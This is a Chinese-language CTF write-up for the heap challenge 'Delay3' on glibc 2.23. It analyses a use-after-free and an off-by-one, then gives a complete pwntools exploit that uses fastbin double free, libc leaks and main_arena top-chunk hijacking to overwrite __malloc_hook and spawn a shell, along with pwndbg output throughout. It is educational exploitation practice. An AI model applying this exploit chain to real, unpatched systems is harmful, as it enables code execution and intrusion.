0%

main_arena劫持

Delay3

1
2
3
4
5
6
➜  [/home/ywhkkx/桌面] ./Delay3 
I am lazy again...
1. add
2. show
3. delete
choice :
1
2
3
4
5
6
7
8
Delay3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=edcd74af07248bb015dfdb61762ab93dce45667f, stripped

[*] '/home/ywhkkx/桌面/Delay3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
void delete()
{
unsigned int index; // [rsp+Ch] [rbp-4h]

puts("id:");
index = read_s();
if ( index <= 9 && chunk_list[index] )
free((void *)chunk_list[index]); // UAF
else
puts("Invalid id!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall read_r(__int64 chunk, int size)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
for ( i = 0; i < size; ++i )
{
if ( (unsigned int)read(0, &buf, 1uLL) == -1 )
{
puts("error!");
exit(0);
}
*(_BYTE *)(chunk + i) = buf;
if ( buf == 10 )
{
*(_BYTE *)(i + chunk) = 0; // off-by-one
return __readfsqword(0x28u) ^ canary;
}
}
*(_BYTE *)(i + chunk) = 0;
return __readfsqword(0x28u) ^ canary;
}

入侵思路

  • 对“size”的限制导致 chunk 无法进入 unsortedbin
  • read_r 对末尾字节的置空限制了打印模块(同时也带来了 off-by-one)
  • 程序每5秒钟置空一次 chunk_list

因为多线程会导致GDB打印不了数据,所以先把“pthread_create”改为了“menu”,把chunk的数量限制也改了:(再源文件中可以通过 sleep 获得原本的效果)

1
2
3
4
.text:0000000000000ED5                 lea     rdx, start_routine ; start_routine
.text:0000000000000EDC mov esi, 0 ; attr
.text:0000000000000EE1 mov rdi, rax ; newthread
.text:0000000000000EE4 call menu // 原本是pthread_create

先泄露“heap_addr”:

1
2
3
4
5
6
7
8
9
10
add(0x48,'0'*0x10)
add(0x48,'1'*0x10)
delete(1)
delete(0)
delete(1)

show(0)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
heap_addr=leak_addr-0x50
success('heap_addr >> '+hex(heap_addr))

限制了 unsortedbin 怎么泄露“libc_base”呢?

  • tcache perthread corruption 劫持 count(直接排除)
  • house of orange 中的思想:当 top chunk->size 不足时会把整个 top chunk 放入 unsortedbin,所以通过覆盖 top chunk->size 的方式进行入侵(行不通,因为页对齐的原因“size”最小为“0xf41”)
  • 因为本程序每5秒钟都会清空一次 chunk_list ,所以理论上来说,可以无限申请 chunk,这时就需要利用这个机制把 top chunk 申请完,剩下的 top chunk 进入unsortedbin时乘机泄露(也失败了,因为程序会在半分钟后自动关闭)
  • 利用 Double free 实现 overlap ,覆盖某个chunk的size来使该chunk可以进入 unsortedbin(好像可行)
1
2
3
Allocated chunk
Addr: 0x55bbab8f3060
Size: 0x100
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x48,p64(leak_addr-0x10))
add(0x48,'3'*(0x48-0x18)+p64(0)+p64(0x50))
add(0x48,'4'*0x8)
payload=p64(0)+p64(0xa1)
add(0x48,payload)
add(0x48,'5'*0x8)
add(0x48,'6'*0x8)
delete(1)
show(1)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

接下来就是利用了,我第一个想到 malloc_hook:

1
2
3
pwndbg> x/20xg 0x7f7b59291b05
0x7f7b59291b05 <__memalign_hook+5>: 0x7b58f52a7000007f 0x000000000000007f
0x7f7b59291b15 <__malloc_hook+5>: 0x0000000000000000 0x0000000000000000

又是因为“size”的限制,hook 打不了

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7f362e950b78
00:00000x7f362e950b78 (main_arena+88) —▸ 0x561957262140 ◂— 0x0
01:00080x7f362e950b80 (main_arena+96) ◂— 0x0
02:00100x7f362e950b88 (main_arena+104) —▸ 0x561957262000 ◂— 0x0
03:00180x7f362e950b90 (main_arena+112) —▸ 0x561957262050 ◂— 0x0

all [corrupted]
FD: 0x561957262000 —▸ 0x7f362e950b78 (main_arena+88) ◂— 0x561957262000
BK: 0x561957262050 —▸ 0x7f362e950b78 (main_arena+88) ◂— 0x561957262050

最后利用 Double free 通过top chunk的首位“\x55”申请到 main_arena 中,却始终劫持不了 hook,在被堆风水和段错误折磨了6个多小时后,我蚌埠住了(其实最恶心的一点是:在多线程中,GDB打印不了数据了,如果 nop 掉多线程操作,有些步骤又没法完成,吐了)

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins /* 一边红的GDB */
'fastbins': Print the contents of an arena's fastbins, default to the current thread's arena.
Exception occurred: fastbins: Could not convert Python object: None. (<class 'TypeError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
'unsortedbin': Print the contents of an arena's unsortedbin, default to the current thread's arena.
Exception occurred: unsortedbin: Could not convert Python object: None. (<class 'TypeError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
'smallbins': Print the contents of an arena's smallbins, default to the current thread's arena.
Exception occurred: smallbins: Could not convert Python object: None. (<class 'TypeError'>)

还是学习大佬的wp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sys
from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
log.success(name+' = '+hex(eval(name)))


elf = ELF('./Delay3')
libc=ELF('./libc-2.23.so')
sh = process('./Delay3')


def Num(n, l=8):
sh.sendline(str(n))

def Cmd(n, wait=True):
if(wait):
sh.recvuntil(' :')
Num(n)

def Add(size, cont=''):
if(len(cont)==0):
cont = 'A'*(size-1)+'\n'
Cmd(1)
sh.recvuntil(':\n')
Num(size)
sh.recvuntil(':\n')
sh.send(cont)

def Show(idx):
Cmd(2)
sh.recvuntil(':\n')
Num(idx)

def Delete(idx):
Cmd(3)
sh.recvuntil(':\n')
Num(idx)

def GDB():
gdb.attach(sh, '''
telescope (0x202040+0x0000555555554000) 16
break *malloc
''')

#chunk arrange
Add(0x48) #A
Add(0x48) #B
Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') #C
Add(0x58) #D
Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n') #E
#fastbin cyclic
Delete(0)
Delete(1)
Delete(0) #Fastbin->A<->B
#get heap addr
Show(0)
heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
Log('heap_addr')

#forge big chunk
Add(0x48, flat(heap_addr+0x210)+'\n') #Fastbin->B->A->C
Add(0x48)
Add(0x48)
Add(0x48, flat(0, 0xA1)+'\n') #D's size=0xA1
#get UB chunk
Delete(3) #UB<=>(DE, 0xa0)
#get libc addr
Show(3)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78
Log('libc.address')

#Fastbin->A<->B
Delete(0)
Delete(1)
Delete(0)

#forge size in main_arena 1
Add(0x48, flat(0x61)+'\n') #Fastbin->B->A->0x61
#clean PtrArr, because it's Full
sh.recvuntil('clear done!\n')
Num(666)

#forge size in main_arena 2
Add(0x48) #Fastbin->A->0x61
Add(0x48) #Fastbin->0x61
#Fastbin Attack
Add(0x58) #C
Add(0x58) #D
#Fastbin[0x60]->C<->D
Delete(2)
Delete(3)
Delete(2)

#fastbin alloc to main_arena
Add(0x58, flat(libc.address+0x3c4b38)+'\n') #Fastbin->D->C->main_arena
Add(0x58) #Fastbin->C->main_arena
Add(0x58) #Fastbin->main_arena
#forege main_arena->top = __malloc_hook
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')

#alloc to hook
OGG = libc.address+0x4527a
exp = flat(0, 0)
exp+= flat(OGG) #let __malloc_hook = realloc+6 to adjust stack
exp+= flat(libc.symbols['realloc']+8) #let __realloc_hook = OGG
Add(0x58, exp+'\n')

#getshell
#GDB()
Cmd(1)
sh.recvuntil(':\n')
Num(1)

sh.interactive()

先看 leak 过程:(leak 过程没有太大差别)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#chunk arrange
Add(0x48) #A
Add(0x48) #B
Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') #C
Add(0x58) #D
Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n') #E
#fastbin cyclic
Delete(0)
Delete(1)
Delete(0) #Fastbin->A<->B
#get heap addr
Show(0)
heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
Log('heap_addr')

#forge big chunk
Add(0x48, flat(heap_addr+0x210)+'\n') #Fastbin->B->A->C
Add(0x48)
Add(0x48)
Add(0x48, flat(0, 0xA1)+'\n') #D's size=0xA1
#get UB chunk
Delete(3) #UB<=>(DE, 0xa0)
#get libc addr
Show(3)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78
Log('libc.address')

利用 Double free 在 free chunk 的 FD 中写入“0x61”

1
2
3
4
5
6
7
#Fastbin->A<->B
Delete(0)
Delete(1)
Delete(0)

#forge size in main_arena 1
Add(0x48, flat(0x61)+'\n') #Fastbin->B->A->0x61
1
2
3
4
5
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x562feeed8000
Size: 0x51
fd: 0x61

前两个chunk用于“暴露0x61”,后两个chunk继续打 Double free

1
2
3
4
5
6
7
8
9
10
11
#forge size in main_arena 2
Add(0x48) #Fastbin->A->0x61
Add(0x48) #Fastbin->0x61
#Fastbin Attack
Add(0x58) #C
Add(0x58) #D

#Fastbin[0x60]->C<->D
Delete(2)
Delete(3)
Delete(2)
1
2
3
4
5
6
7
8
9
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x61
0x60: 0x55d2842660a0 —▸ 0x55d284266100 ◂— 0x55d2842660a0
0x70: 0x0
0x80: 0x0

刚开始我很疑惑,为什么要在 fastbin-0x50 这里写上 0x61 呢,后来想到当我自己劫持 main_arena 时的经历,fastbin 中的地址存储在 main_arena 靠前的偏移中,于是我打印了下 main_arena:

1
2
3
4
5
6
7
pwndbg> telescope 0x7f59fc5f0b78-88
00:00000x7f59fc5f0b20 (main_arena) ◂— 0x0
... ↓ 3 skipped
04:00200x7f59fc5f0b40 (main_arena+32) ◂— 0x61 /* 'a' */
05:00280x7f59fc5f0b48 (main_arena+40) —▸ 0x55d62de34100 ◂— 0x0
06:00300x7f59fc5f0b50 (main_arena+48) ◂— 0x0
07:00380x7f59fc5f0b58 (main_arena+56) ◂— 0x0

发现“0x61”真的在 main_arena 中,这下可以 Double free 劫持了(刚开始我采用了 top chunk 地址的“0x55”来劫持 main_arena ,结果只能劫持 unsortedbin ,最后发生了严重的段错误)

Double free 劫持 top chunk:(top chunk 比 fastbin,unsortedbin 都要好劫持)

1
2
3
4
5
6
#fastbin alloc to main_arena
Add(0x58, flat(libc.address+0x3c4b38)+'\n') #Fastbin->D->C->main_arena
Add(0x58) #Fastbin->C->main_arena
Add(0x58) #Fastbin->main_arena
#forege main_arena->top = __malloc_hook
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')
1
2
3
4
5
6
7
8
9
10
pwndbg> telescope 0x7f409e371ba8-136
00:00000x7f409e371b20 (main_arena) ◂— 0x0
... ↓ 3 skipped
04:00200x7f409e371b40 (main_arena+32) ◂— 0x61 /* 'a' */
05:00280x7f409e371b48 (main_arena+40) ◂— 0x0
... ↓ 2 skipped
pwndbg>
08:00400x7f409e371b60 (main_arena+64) ◂— 0x0
... ↓ 2 skipped
0b:00580x7f409e371b78 (main_arena+88) —▸ 0x7f409e371ae8 (_IO_wide_data_0+296) ◂— 0x0
1
2
3
4
pwndbg> heap // GDB不能正常显示了,但是看'main_arena+88'的位置,应该是写上了
Allocated chunk
Addr: 0x7f409e371000
Size: 0x7f409e7b8540

成功劫持 top chunk,在我劫持 unsortedbin 的时候,末尾置空这一点始终困扰着我(末尾置空破坏了 main_arena 结构导致了段错误,后来避免段错误后,发现根本通不过检查)

大佬的这种写法可以少去1字节,使“\x00”不会覆盖后面的数据

1
2
3
4
5
OGG = libc.address+0x4527a
exp = flat(0, 0)
exp+= flat(OGG) #let __realloc_hook = one_gadget
exp+= flat(libc.symbols['realloc']+8) #let __malloc_hook = __realloc_hook+8
Add(0x58, exp+'\n')
1
2
3
4
5
6
7
pwndbg> telescope 0x7fe67e7edae8
00:00000x7fe67e7edae8 (_IO_wide_data_0+296) ◂— 0x0
01:00080x7fe67e7edaf0 (_IO_wide_data_0+304) ◂— 0x61 /* 'a' */
02:00100x7fe67e7edaf8 ◂— 0x0
03:00180x7fe67e7edb00 (__memalign_hook) ◂— 0x0
04:00200x7fe67e7edb08 (__realloc_hook) —▸ 0x7fe67e46e27a (do_system+1098) ◂— mov rax, qword ptr [rip + 0x37ec37]
05:00280x7fe67e7edb10 (__malloc_hook) —▸ 0x7fe67e4ad718 (realloc+8) ◂— mov r12, rsi

top chunk 的申请没有“size”的要求,对 __realloc_hook__malloc_hook 的操作是为了重置栈帧


小结:

这6个多小时的解题有点折磨,最后看了wp回头看本题目时,发现思路也挺清晰

反正我是把可能技术都尝试了一遍:

  • 首先是 leak 那里就出来问题,泄露出了“heap_addr”但是泄露不出“libc_base”(“size”的限制)
  • 在此基础上,因为有 off-by-one 所以我选择打 unlink,结果当然失败了,先不管实现了 overlap 有什么用,覆盖“size->P位”的过程会把整个“size”给覆盖掉
  • 使用 Double free 修改了“chunk->size”把它释放到了 unsortedbin 中,泄露了“libc_base”
  • 接下来我当然想到了利用 Double free 劫持 hook,还是因为“size”的原因劫持不了(hook前面也没有“\x55”等可以劫持的地址)
  • 又想到可以控制 top chunk 来打 House Of Force(size限制,排除)和 House Of Einherjar(只能控制 top chunk 前面的区域,控制不了 hook,排除)
  • House Of Orange 肯定也不行
  • FSOP 中 unsortedbin attack 勉强可以执行,但是 FSOP 需要伪造很长的IO_FILE结构体,size明显不符合条件
  • 然后选择 main_arena 劫持,因为 top chunk 那里有“0x55”(main_arena+88),但是接下来只能劫持后面的 unsortedbin 了,末尾置空又会导致严重的段错误

最后止步于此…………

看了大佬的wp,发现其核心在于把“0x61”放入 fastbin 中,而后对应的 main_arena 条目就变为了“0x61”,可以利用 Double free 申请到这里,从而可以控制 top chunk(top chunk的检查比fastbin,unsortedbin少很多)

  • 本题目使我的堆风水提高了不少(我前前后后改了不知道多少遍堆风水,最后才避免了报错)
  • 另外学习到了 main_arena 劫持这门技术(限制“size”时必选)

我觉得我还是缺少历练,需要多多打比赛(挨打),做题(坐牢)